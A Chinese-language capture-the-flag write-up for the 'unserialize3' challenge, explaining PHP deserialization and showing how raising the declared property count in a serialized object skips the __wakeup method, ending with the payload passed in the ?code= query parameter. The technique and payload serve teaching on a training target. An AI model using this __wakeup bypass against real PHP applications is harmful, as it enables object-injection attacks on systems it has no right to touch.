unserialize3

概述

题目提示这是一个反序列化的题目,通过补全php代码,并绕过__wakeup的魔术方法实现获得FLAG的操作。

解题思路

Step.1 通过题目获得信息

题目中出现了 unserialize 提示这是一个序列化的题目。

Step.2 访问目标地址

得到了一段代码,最后的?code=提示我们最后传输结果的时候是通过GET方法的查询参数进行传参的。

Step.3 补齐代码,本地运行php代码。

对提供的代码补全,并且使用序列化函数序列化该类,查看结果。

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit("bad request");
    }
}

$a = new xctf();
echo serialize($a);

?>

当我们使用反序列化函数,对结果进行反序列化的时候,会出现bad request的报错

echo unserialize('O:4:"xctf":1:{s:4:"flag";s:3:"111";}');

Step.4 绕过__wakeup函数

根据php序列化的特性,当执行反序列化函数时,会唤醒__wakeup这个魔术方法,但是,当给他的序列化的对象中 属性数量大于实际其拥有的属性的时候,他就会跳过这个__wakeup函数。

因此,我们只需修改序列化的结果:

O:4:"xctf":1:{s:4:"flag";s:3:"111";} >> O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

即可得到payload

Step.5 将payload传回

在前面一开始,就提示了payload需要传入的地方,是通过查询参数 code 传回后端的,因此我们在页面链接后面直接增加查询参数 ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";} 即可得到flag


目录